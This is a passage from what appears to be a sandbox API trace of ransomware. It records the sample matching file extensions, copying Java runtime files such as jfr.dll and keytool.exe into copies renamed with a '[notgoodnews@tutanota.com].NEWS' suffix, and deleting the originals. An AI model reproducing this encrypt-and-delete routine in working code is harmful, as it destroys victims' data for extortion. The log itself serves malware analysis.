Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47 [0091.098] lstrlenW (lpString=".dbf") returned 4 [0091.098] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0091.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47 [0091.098] lstrlenW (lpString=".1cd") returned 4 [0091.098] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0091.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47 [0091.098] lstrlenW (lpString=".jpg") returned 4 [0091.099] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0091.099] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47 [0091.099] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47 [0091.099] lstrlenW (lpString=".doc") returned 4 [0091.099] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0091.099] lstrlenW (lpString=".docx") returned 5 [0091.099] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0091.099] lstrlenW (lpString=".pdf") returned 4 [0091.099] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0091.099] lstrlenW (lpString=".xls") returned 4 [0091.099] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0091.099] lstrlenW (lpString=".xlsx") returned 5 [0091.099] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0091.099] lstrlenW (lpString=".ppt") returned 4 [0091.099] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0091.099] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47 [0091.099] lstrlenW (lpString=".zip") returned 4 [0091.099] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0091.099] lstrlenW (lpString=".rar") returned 4 [0091.099] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0091.099] lstrlenW (lpString=".bz2") returned 4 [0091.099] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0091.099] lstrlenW (lpString=".7z") returned 3 [0091.099] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0091.099] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47 [0091.099] lstrlenW (lpString=".dbf") returned 4 [0091.099] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0091.099] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47 [0091.099] lstrlenW (lpString=".1cd") returned 4 [0091.099] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0091.099] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47 [0091.099] lstrlenW (lpString=".jpg") returned 4 [0091.099] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0091.100] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0091.100] lstrlenW (lpString="jfr.dll") returned 7 [0091.100] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0091.100] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=26688) returned 1 [0091.100] CloseHandle (hObject=0x364) returned 1 [0091.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll")) returned 0x20 [0091.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0091.100] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0091.100] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.100] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.100] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0091.101] GetLastError () returned 0x0 [0091.101] ReadFile (in: hFile=0x364, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x6840, lpOverlapped=0x0) returned 1 [0091.486] WriteFile (in: hFile=0x378, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x6850, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x6850, lpOverlapped=0x0) returned 1 [0091.487] ReadFile (in: hFile=0x364, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0091.487] WriteFile (in: hFile=0x378, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0xe2, lpOverlapped=0x0) returned 1 [0091.487] SetEndOfFile (hFile=0x378) returned 1 [0091.488] CloseHandle (hObject=0x378) returned 1 [0091.488] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.488] SetEndOfFile (hFile=0x364) returned 1 [0091.489] CloseHandle (hObject=0x364) returned 1 [0091.489] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0091.489] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll")) returned 1 [0091.650] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46 [0091.650] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46 [0091.650] lstrlenW (lpString=".doc") returned 4 [0091.650] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0091.651] lstrlenW (lpString=".docx") returned 5 [0091.651] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0091.651] lstrlenW (lpString=".pdf") returned 4 [0091.651] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0091.651] lstrlenW (lpString=".xls") returned 4 [0091.651] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0091.651] lstrlenW (lpString=".xlsx") returned 5 [0091.651] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0091.651] lstrlenW (lpString=".ppt") returned 4 [0091.651] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0091.651] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46 [0091.651] lstrlenW (lpString=".zip") returned 4 [0091.651] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0091.651] lstrlenW (lpString=".rar") returned 4 [0091.651] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0091.651] lstrlenW (lpString=".bz2") returned 4 [0091.651] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0091.651] lstrlenW (lpString=".7z") returned 3 [0091.651] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0091.651] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46 [0091.651] lstrlenW (lpString=".dbf") returned 4 [0091.651] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0091.651] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46 [0091.651] lstrlenW (lpString=".1cd") returned 4 [0091.651] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0091.651] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46 [0091.651] lstrlenW (lpString=".jpg") returned 4 [0091.651] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0091.651] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46 [0091.651] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46 [0091.651] lstrlenW (lpString=".doc") returned 4 [0091.651] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0091.651] lstrlenW (lpString=".docx") returned 5 [0091.651] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0091.651] lstrlenW (lpString=".pdf") returned 4 [0091.651] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0091.652] lstrlenW (lpString=".xls") returned 4 [0091.652] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0091.652] lstrlenW (lpString=".xlsx") returned 5 [0091.652] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0091.652] lstrlenW (lpString=".ppt") returned 4 [0091.652] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0091.652] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46 [0091.652] lstrlenW (lpString=".zip") returned 4 [0091.652] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0091.652] lstrlenW (lpString=".rar") returned 4 [0091.652] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0091.652] lstrlenW (lpString=".bz2") returned 4 [0091.652] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0091.652] lstrlenW (lpString=".7z") returned 3 [0091.652] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0091.652] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46 [0091.652] lstrlenW (lpString=".dbf") returned 4 [0091.652] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0091.652] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46 [0091.652] lstrlenW (lpString=".1cd") returned 4 [0091.652] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0091.652] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46 [0091.652] lstrlenW (lpString=".jpg") returned 4 [0091.652] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0091.652] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0091.652] lstrlenW (lpString="jsdt.dll") returned 8 [0091.652] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0091.904] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=18496) returned 1 [0091.904] CloseHandle (hObject=0x364) returned 1 [0091.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll")) returned 0x20 [0091.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0091.904] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0091.904] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.904] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.904] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0091.905] GetLastError () returned 0x0 [0091.905] ReadFile (in: hFile=0x364, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x4840, lpOverlapped=0x0) returned 1 [0091.906] WriteFile (in: hFile=0x378, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x4850, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x4850, lpOverlapped=0x0) returned 1 [0091.907] ReadFile (in: hFile=0x364, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0091.907] WriteFile (in: hFile=0x378, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0xe4, lpOverlapped=0x0) returned 1 [0091.908] SetEndOfFile (hFile=0x378) returned 1 [0091.908] CloseHandle (hObject=0x378) returned 1 [0091.908] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.908] SetEndOfFile (hFile=0x364) returned 1 [0091.909] CloseHandle (hObject=0x364) returned 1 [0091.909] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0091.909] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll")) returned 1 [0091.909] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0091.909] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0091.909] lstrlenW (lpString=".doc") returned 4 [0091.909] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0091.909] lstrlenW (lpString=".docx") returned 5 [0091.909] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0091.909] lstrlenW (lpString=".pdf") returned 4 [0091.909] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0091.909] lstrlenW (lpString=".xls") returned 4 [0091.909] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0091.909] lstrlenW (lpString=".xlsx") returned 5 [0091.909] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0091.909] lstrlenW (lpString=".ppt") returned 4 [0091.909] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0091.909] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0091.909] lstrlenW (lpString=".zip") returned 4 [0091.910] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0091.910] lstrlenW (lpString=".rar") returned 4 [0091.910] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0091.910] lstrlenW (lpString=".bz2") returned 4 [0091.910] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0091.910] lstrlenW (lpString=".7z") returned 3 [0091.910] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0091.910] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0091.910] lstrlenW (lpString=".dbf") returned 4 [0091.910] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0091.910] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0091.910] lstrlenW (lpString=".1cd") returned 4 [0091.910] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0091.910] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0091.910] lstrlenW (lpString=".jpg") returned 4 [0091.910] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0091.910] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0091.910] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0091.910] lstrlenW (lpString=".doc") returned 4 [0091.910] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0091.910] lstrlenW (lpString=".docx") returned 5 [0091.910] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0091.910] lstrlenW (lpString=".pdf") returned 4 [0091.910] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0091.910] lstrlenW (lpString=".xls") returned 4 [0091.910] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0091.910] lstrlenW (lpString=".xlsx") returned 5 [0091.910] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0091.910] lstrlenW (lpString=".ppt") returned 4 [0091.910] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0091.910] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0091.910] lstrlenW (lpString=".zip") returned 4 [0091.910] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0091.910] lstrlenW (lpString=".rar") returned 4 [0091.910] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0091.910] lstrlenW (lpString=".bz2") returned 4 [0091.911] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0091.911] lstrlenW (lpString=".7z") returned 3 [0091.911] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0091.911] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0091.911] lstrlenW (lpString=".dbf") returned 4 [0091.911] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0091.911] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0091.911] lstrlenW (lpString=".1cd") returned 4 [0091.911] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0091.911] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0091.911] lstrlenW (lpString=".jpg") returned 4 [0091.911] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0091.911] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0091.911] lstrlenW (lpString="keytool.exe") returned 11 [0091.911] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0091.912] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=16448) returned 1 [0091.912] CloseHandle (hObject=0x364) returned 1 [0091.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe")) returned 0x20 [0091.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0091.912] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0091.912] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.912] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.912] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0091.912] GetLastError () returned 0x0 [0091.912] ReadFile (in: hFile=0x364, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x4040, lpOverlapped=0x0) returned 1 [0091.914] WriteFile (in: hFile=0x378, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x4050, lpOverlapped=0x0) returned 1 [0091.915] ReadFile (in: hFile=0x364, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0091.915] WriteFile (in: hFile=0x378, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0xea, lpOverlapped=0x0) returned 1 [0091.915] SetEndOfFile (hFile=0x378) returned 1 [0091.915] CloseHandle (hObject=0x378) returned 1 [0091.915] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.915] SetEndOfFile (hFile=0x364) returned 1 [0091.916] CloseHandle (hObject=0x364) returned 1 [0091.916] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0091.917] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe")) returned 1 [0091.917] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50 [0091.917] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50 [0091.917] lstrlenW (lpString=".doc") returned 4 [0091.917] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0091.917] lstrlenW (lpString=".docx") returned 5 [0091.917] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1 [0091.917] lstrlenW (lpString=".pdf") returned 4 [0091.917] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0091.917] lstrlenW (lpString=".xls") returned 4 [0091.917] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0091.917] lstrlenW (lpString=".xlsx") returned 5 [0091.917] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1 [0091.917] lstrlenW (lpString=".ppt") returned 4 [0091.917] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0091.917] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50 [0091.917] lstrlenW (lpString=".zip") returned 4 [0091.917] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0091.917] lstrlenW (lpString=".rar") returned 4 [0091.917] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0091.917] lstrlenW (lpString=".bz2") returned 4 [0091.917] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0091.917] lstrlenW (lpString=".7z") returned 3 [0091.917] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0091.917] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50 [0091.918] lstrlenW (lpString=".dbf") returned 4 [0091.918] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0091.918] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50 [0091.918] lstrlenW (lpString=".1cd") returned 4 [0091.918] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0091.918] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50 [0091.918] lstrlenW (lpString=".jpg") returned 4 [0091.918] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0091.918] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50 [0091.918] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50 [0091.918] lstrlenW (lpString=".doc") returned 4 [0091.918] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0091.918] lstrlenW (lpString=".docx") returned 5 [0091.918] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1 [0091.918] lstrlenW (lpString=".pdf") returned 4 [0091.918] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0091.918] lstrlenW (lpString=".xls") returned 4 [0091.918] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0091.918] lstrlenW (lpString=".xlsx") returned 5 [0091.918] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1 [0091.918] lstrlenW (lpString=".ppt") returned 4 [0091.918] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0091.918] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50 [0091.918] lstrlenW (lpString=".zip") returned 4 [0091.918] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0091.918] lstrlenW (lpString=".rar") returned 4 [0091.918] lstrcmpiW (lpString1=".rar", 